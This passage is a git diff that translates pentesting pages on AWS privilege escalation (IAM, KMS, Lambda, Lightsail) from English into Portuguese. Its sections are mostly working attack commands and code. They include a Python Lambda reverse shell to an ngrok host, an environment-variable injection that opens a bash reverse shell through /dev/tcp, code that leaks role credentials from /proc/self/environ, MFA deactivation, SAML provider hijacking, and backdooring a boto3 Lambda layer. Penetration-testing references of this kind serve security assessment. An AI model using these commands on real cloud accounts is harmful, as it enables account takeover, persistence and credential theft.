policy document of a role, enabling the assumption of the role and its associated permissions. +Permite alterar o documento da política de assumir função de uma função, possibilitando a assunção da função e suas permissões associadas. **Exploit:** - ```bash aws iam update-assume-role-policy --role-name \ - --policy-document file:///path/to/assume/role/policy.json +--policy-document file:///path/to/assume/role/policy.json ``` - -Where the policy looks like the following, which gives the user permission to assume the role: - +Onde a política se parece com o seguinte, que concede ao usuário permissão para assumir a função: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "sts:AssumeRole", - "Principal": { - "AWS": "$USER_ARN" - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sts:AssumeRole", +"Principal": { +"AWS": "$USER_ARN" +} +} +] } ``` - -**Impact:** Direct privilege escalation by assuming any role's permissions. +**Impacto:** Escalação direta de privilégios ao assumir as permissões de qualquer função. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation. - -**Exploit for SSH Key Upload:** +Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada indireta de privilégios. +**Exploit para Upload de Chave SSH:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` - -**Exploit for MFA Deactivation:** - +**Exploit para Desativação de MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` - -**Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection. +**Impacto:** Escalação de privilégio indireta ao habilitar o acesso ao CodeCommit ou desabilitar a proteção MFA. ### **`iam:ResyncMFADevice`** -Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection. - -**Bash Command:** +Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalada de privilégio indireta ao manipular a proteção MFA. +**Comando Bash:** ```bash aws iam resync-mfa-device --user-name --serial-number \ - --authentication-code1 --authentication-code2 +--authentication-code1 --authentication-code2 ``` - -**Impact:** Indirect privilege escalation by adding or manipulating MFA devices. +**Impacto:** Escalação de privilégio indireta ao adicionar ou manipular dispositivos MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it. - -Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back +Com essas permissões, você pode **alterar os metadados XML da conexão SAML**. Então, você poderia abusar da **federação SAML** para **fazer login** com qualquer **papel que esteja confiando** nele. +Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você poderia obter o XML, para que você possa colocar o seu, fazer login e configurar o anterior de volta. ```bash # List SAMLs aws iam list-saml-providers @@ -249,14 +210,12 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` - > [!NOTE] -> TODO: A Tool capable of generating the SAML metadata and login with a specified role +> TODO: Uma ferramenta capaz de gerar os metadados SAML e fazer login com um papel especificado ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider. - +(Inseguro sobre isso) Se um atacante tiver essas **permissões**, ele poderia adicionar uma nova **Thumbprint** para conseguir fazer login em todos os papéis que confiam no provedor. ```bash # List providers aws iam list-open-id-connect-providers @@ -265,13 +224,8 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` - -## References +## Referências - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 02c05b76d..2f8ff0660 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -4,7 +4,7 @@ ## KMS -For more info about KMS check: +Para mais informações sobre KMS, consulte: {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,8 +12,7 @@ For more info about KMS check: ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone: - +Com essas permissões, é possível **modificar as permissões de acesso à chave** para que ela possa ser usada por outras contas ou até mesmo por qualquer pessoa: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -21,106 +20,91 @@ aws kms get-key-policy --key-id --policy-name # AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow all use", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": ["kms:*"], - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow all use", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": ["kms:*"], +"Resource": "*" +} +] } ``` - ### `kms:CreateGrant` -It **allows a principal to use a KMS key:** - +Ele **permite que um principal use uma chave KMS:** ```bash aws kms create-grant \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - --grantee-principal arn:aws:iam::123456789012:user/exampleUser \ - --operations Decrypt +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +--grantee-principal arn:aws:iam::123456789012:user/exampleUser \ +--operations Decrypt ``` +> [!WARNING] +> Uma concessão pode permitir apenas certos tipos de operações: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -> [!WARNING] -> Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\ -> However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\ -> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). - +> Note que pode levar alguns minutos para que o KMS **permita que o usuário use a chave após a concessão ter sido gerada**. Uma vez que esse tempo tenha passado, o principal pode usar a chave KMS sem precisar especificar nada.\ +> No entanto, se for necessário usar a concessão imediatamente [use um token de concessão](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (verifique o código a seguir).\ +> Para [**mais informações leia isso**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - –-key-spec AES_256 \ - --grant-tokens $token +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +–-key-spec AES_256 \ +--grant-tokens $token ``` - -Note that it's possible to list grant of keys with: - +Note que é possível listar as concessões de chaves com: ```bash aws kms list-grants --key-id ``` - ### `kms:CreateKey`, `kms:ReplicateKey` -With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy. - -So, an attacker could abuse this to obtain privesc his access to the key and use it +Com essas permissões, é possível replicar uma chave KMS habilitada para múltiplas regiões em uma região diferente com uma política diferente. +Assim, um atacante poderia abusar disso para obter privesc seu acesso à chave e usá-la. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - ### `kms:Decrypt` -This permission allows to use a key to decrypt some information.\ -For more information check: +Esta permissão permite usar uma chave para descriptografar algumas informações.\ +Para mais informações, consulte: {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index d276ef737..f27ab0b84 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -4,7 +4,7 @@ ## lambda -More info about lambda in: +Mais informações sobre lambda em: {{#ref}} ../aws-services/aws-lambda-enum.md @@ -12,23 +12,22 @@ More info about lambda in: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\ -They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\ -Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\ - -A attacker could abuse this to get a **rev shell and steal the token**: +Usuários com as permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** podem escalar seus privilégios.\ +Eles podem **criar uma nova função Lambda e atribuir a ela um papel IAM existente**, concedendo à função as permissões associadas a esse papel. O usuário pode então **escrever e fazer upload de código para essa função Lambda (com um rev shell, por exemplo)**.\ +Uma vez que a função esteja configurada, o usuário pode **disparar sua execução** e as ações pretendidas invocando a função Lambda através da API da AWS. Essa abordagem permite efetivamente que o usuário realize tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido ao papel IAM associado a ela.\\ +Um atacante poderia abusar disso para obter um **rev shell e roubar o token**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); - s.connect(('4.tcp.ngrok.io',14305)) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(['/bin/sh','-i']) - time.sleep(900) - return 0 +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); +s.connect(('4.tcp.ngrok.io',14305)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(['/bin/sh','-i']) +time.sleep(900) +return 0 ``` ```bash @@ -37,8 +36,8 @@ zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ - --runtime python3.9 --role \ - --handler rev.lambda_handler --zip-file fileb://rev.zip +--runtime python3.9 --role \ +--handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt @@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` - -You could also **abuse the lambda role permissions** from the lambda function itself.\ -If the lambda role had enough permissions you could use it to grant admin rights to you: - +Você também poderia **abusar das permissões do papel lambda** da própria função lambda.\ +Se o papel lambda tivesse permissões suficientes, você poderia usá-lo para conceder direitos de administrador a você: ```python import boto3 def lambda_handler(event, context): - client = boto3.client('iam') - response = client.attach_user_policy( - UserName='my_username', - PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' - ) - return response +client = boto3.client('iam') +response = client.attach_user_policy( +UserName='my_username', +PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' +) +return response ``` - -It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda. - +É também possível vazar as credenciais da função da lambda sem precisar de uma conexão externa. Isso seria útil para **Lambdas isoladas em rede** usadas em tarefas internas. Se houver grupos de segurança desconhecidos filtrando seus shells reversos, este trecho de código permitirá que você vaze diretamente as credenciais como a saída da lambda. ```python def handler(event, context): -    sessiontoken = open('/proc/self/environ', "r").read() -    return { -        'statusCode': 200, -        'session': str(sessiontoken) -    } +sessiontoken = open('/proc/self/environ', "r").read() +return { +'statusCode': 200, +'session': str(sessiontoken) +} ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**Impacto Potencial:** Privesc direto para o papel de serviço lambda arbitrário especificado. > [!CAUTION] -> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction` +> Note que mesmo que possa parecer interessante **`lambda:InvokeAsync`** **não** permite por si só **executar `aws lambda invoke-async`**, você também precisa de `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`** - +Como no cenário anterior, você pode **conceder a si mesmo a permissão `lambda:InvokeFunction`** se você tiver a permissão **`lambda:AddPermission`** ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ - --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" +--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**Impacto Potencial:** Privesc direto para o papel de serviço lambda arbitrário especificado. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\ -They can create a **Lambda function with malicious code and assign it an existing IAM role**. - -Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role. +Usuários com permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potencialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) podem indiretamente **escalar privilégios** mesmo sem `lambda:InvokeFunction`.\ +Eles podem criar uma **função Lambda com código malicioso e atribuí-la a um papel IAM existente**. +Em vez de invocar diretamente a Lambda, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a à Lambda através de um mapeamento de fonte de evento. Essa configuração garante que a função Lambda seja **acionada automaticamente ao inserir um novo item** na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a função Lambda e executando o código com as permissões do papel IAM passado. ```bash aws lambda create-function --function-name my_function \ - --runtime python3.8 --role \ - --handler lambda_function.lambda_handler \ - --zip-file fileb://rev.zip +--runtime python3.8 --role \ +--handler lambda_function.lambda_handler \ +--zip-file fileb://rev.zip ``` - -If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled: - +Se o DynamoDB já estiver ativo no ambiente AWS, o usuário **precisa apenas estabelecer o mapeamento da fonte de eventos** para a função Lambda. No entanto, se o DynamoDB não estiver em uso, o usuário deve **criar uma nova tabela** com streaming habilitado: ```bash aws dynamodb create-table --table-name my_table \ - --attribute-definitions AttributeName=Test,AttributeType=S \ - --key-schema AttributeName=Test,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES +--attribute-definitions AttributeName=Test,AttributeType=S \ +--key-schema AttributeName=Test,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` - -Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**: - +Agora é possível **conectar a função Lambda à tabela DynamoDB** criando **um mapeamento de fonte de evento**: ```bash aws lambda create-event-source-mapping --function-name my_function \ - --event-source-arn \ - --enabled --starting-position LATEST +--event-source-arn \ +--enabled --starting-position LATEST ``` - -With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table: - +Com a função Lambda vinculada ao fluxo do DynamoDB, o atacante pode **indiretamente acionar a Lambda ativando o fluxo do DynamoDB**. Isso pode ser realizado **inserindo um item** na tabela do DynamoDB: ```bash aws dynamodb put-item --table-name my_table \ - --item Test={S="Random string"} +--item Test={S="Random string"} ``` - -**Potential Impact:** Direct privesc to the lambda service role specified. +**Impacto Potencial:** Privesc direto para o papel de serviço lambda especificado. ### `lambda:AddPermission` -An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource): - +Um atacante com esta permissão pode **conceder a si mesmo (ou a outros) quaisquer permissões** (isso gera políticas baseadas em recursos para conceder acesso ao recurso): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -147,51 +130,44 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` - -**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it. +**Impacto Potencial:** Privesc direto para o papel de serviço lambda usado ao conceder permissão para modificar o código e executá-lo. ### `lambda:AddLayerVersionPermission` -An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information - +Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) a permissão `lambda:GetLayerVersion`**. Ele poderia acessar a camada e procurar por vulnerabilidades ou informações sensíveis. ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` - -**Potential Impact:** Potential access to sensitive information. +**Impacto Potencial:** Acesso potencial a informações sensíveis. ### `lambda:UpdateFunctionCode` -Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\ -The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**. - -Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code. +Usuários que possuem a permissão **`lambda:UpdateFunctionCode`** têm o potencial de **modificar o código de uma função Lambda existente que está vinculada a um papel IAM.**\ +O atacante pode **modificar o código da lambda para exfiltrar as credenciais IAM**. +Embora o atacante possa não ter a capacidade direta de invocar a função, se a função Lambda já existir e estiver operacional, é provável que ela seja acionada por meio de fluxos de trabalho ou eventos existentes, facilitando assim indiretamente a execução do código modificado. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ - --zip-file fileb:///my/lambda/code/zipped.zip +--zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` - -**Potential Impact:** Direct privesc to the lambda service role used. +**Impacto Potencial:** Privesc direto para o papel de serviço lambda utilizado. ### `lambda:UpdateFunctionConfiguration` -#### RCE via env variables - -With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands: +#### RCE via variáveis de ambiente +Com essas permissões, é possível adicionar variáveis de ambiente que farão com que o Lambda execute código arbitrário. Por exemplo, em python, é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` - -For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in: +Para outras linguagens de script, existem outras variáveis de ambiente que você pode usar. Para mais informações, consulte as subseções de linguagens de script em: {{#ref}} https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse @@ -199,19 +175,17 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat #### RCE via Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**. - -Inside lambda you can check the paths from where python code is loaded with a function like the following: +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **código** na sua função lambda, mas **armazená-lo separadamente**, para que o código da função possa permanecer pequeno e **várias funções possam compartilhar código**. +Dentro da lambda, você pode verificar os caminhos de onde o código python é carregado com uma função como a seguinte: ```python import json import sys def lambda_handler(event, context): - print(json.dumps(sys.path, indent=2)) +print(json.dumps(sys.path, indent=2)) ``` - -These are the places: +Estes são os lugares: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -224,73 +198,61 @@ These are the places: 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). +Por exemplo, a biblioteca boto3 é carregada de `/var/runtime/boto3` (4ª posição). -#### Exploitation +#### Exploração -It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there. - -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: +É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **adicionar uma nova camada** a uma função lambda. Para executar código arbitrário, essa camada precisa conter alguma **biblioteca que a lambda vai importar.** Se você puder ler o código da lambda, poderá encontrar isso facilmente, também note que pode ser possível que a lambda já esteja **usando uma camada** e você poderia **baixar** a camada e **adicionar seu código** lá. +Por exemplo, vamos supor que a lambda esteja usando a biblioteca boto3, isso criará uma camada local com a última versão da biblioteca: ```bash pip3 install -t ./lambda_layer boto3 ``` +Você pode abrir `./lambda_layer/boto3/__init__.py` e **adicionar o backdoor no código global** (uma função para exfiltrar credenciais ou obter um shell reverso, por exemplo). -You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example). - -Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\ -Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:** - +Em seguida, compacte o diretório `./lambda_layer` e **faça o upload da nova camada lambda** na sua própria conta (ou na conta da vítima, mas você pode não ter permissões para isso).\ +Observe que você precisa criar uma pasta python e colocar as bibliotecas lá para substituir /opt/python/boto3. Além disso, a camada precisa ser **compatível com a versão do python** usada pela lambda e, se você fizer o upload para sua conta, precisa estar na **mesma região:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` - -Now, make the uploaded lambda layer **accessible by any account**: - +Agora, torne a camada lambda carregada **acessível por qualquer conta**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ - --version-number 1 --statement-id public \ - --action lambda:GetLayerVersion --principal * +--version-number 1 --statement-id public \ +--action lambda:GetLayerVersion --principal * ``` - -And attach the lambda layer to the victim lambda function: - +E anexe a camada lambda à função lambda da vítima: ```bash aws lambda update-function-configuration \ - --function-name \ - --layers arn:aws:lambda:::layer:boto3:1 \ - --timeout 300 #5min for rev shells +--function-name \ +--layers arn:aws:lambda:::layer:boto3:1 \ +--timeout 300 #5min for rev shells ``` +O próximo passo seria **invocar a função** nós mesmos, se pudermos, ou esperar até que **ela seja invocada** por meios normais – que é o método mais seguro. -The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method. - -A **more stealth way to exploit this vulnerability** can be found in: +Uma **maneira mais furtiva de explorar essa vulnerabilidade** pode ser encontrada em: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Potential Impact:** Direct privesc to the lambda service role used. +**Impacto Potencial:** Privesc direto para o papel de serviço lambda usado. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do! +Talvez com essas permissões você consiga criar uma função e executá-la chamando a URL... mas eu não consegui encontrar uma maneira de testá-la, então me avise se você conseguir! ### Lambda MitM -Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in: +Algumas lambdas vão estar **recebendo informações sensíveis dos usuários em parâmetros.** Se conseguir RCE em uma delas, você pode exfiltrar as informações que outros usuários estão enviando para ela, confira em: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -## References +## Referências - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 1bf78eb3c..73ddb6afe 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,112 +4,93 @@ ## Lightsail -For more information about Lightsail check: +Para mais informações sobre Lightsail, consulte: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> It’s important to note that Lightsail **doesn’t use IAM roles belonging to the user** but to an AWS managed account, so you can’t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service. +> É importante notar que o Lightsail **não usa funções IAM pertencentes ao usuário**, mas a uma conta gerenciada pela AWS, então você não pode abusar deste serviço para privesc. No entanto, **dados sensíveis** como código, chaves de API e informações de banco de dados podem ser encontrados neste serviço. ### `lightsail:DownloadDefaultKeyPair` -This permission will allow you to get the SSH keys to access the instances: - +Esta permissão permitirá que você obtenha as chaves SSH para acessar as instâncias: ``` aws lightsail download-default-key-pair ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Impacto Potencial:** Encontrar informações sensíveis dentro das instâncias. ### `lightsail:GetInstanceAccessDetails` -This permission will allow you to generate SSH keys to access the instances: - +Esta permissão permitirá que você gere chaves SSH para acessar as instâncias: ```bash aws lightsail get-instance-access-details --instance-name ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Impacto Potencial:** Encontre informações sensíveis dentro das instâncias. ### `lightsail:CreateBucketAccessKey` -This permission will allow you to get a key to access the bucket: - +Esta permissão permitirá que você obtenha uma chave para acessar o bucket: ```bash aws lightsail create-bucket-access-key --bucket-name ``` - -**Potential Impact:** Find sensitive info inside the bucket. +**Impacto Potencial:** Encontrar informações sensíveis dentro do bucket. ### `lightsail:GetRelationalDatabaseMasterUserPassword` -This permission will allow you to get the credentials to access the database: - +Esta permissão permitirá que você obtenha as credenciais para acessar o banco de dados: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` - -**Potential Impact:** Find sensitive info inside the database. +**Impacto Potencial:** Encontrar informações sensíveis dentro do banco de dados. ### `lightsail:UpdateRelationalDatabase` -This permission will allow you to change the password to access the database: - +Esta permissão permitirá que você altere a senha para acessar o banco de dados: ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` - -If the database isn't public, you could also make it public with this permissions with - +Se o banco de dados 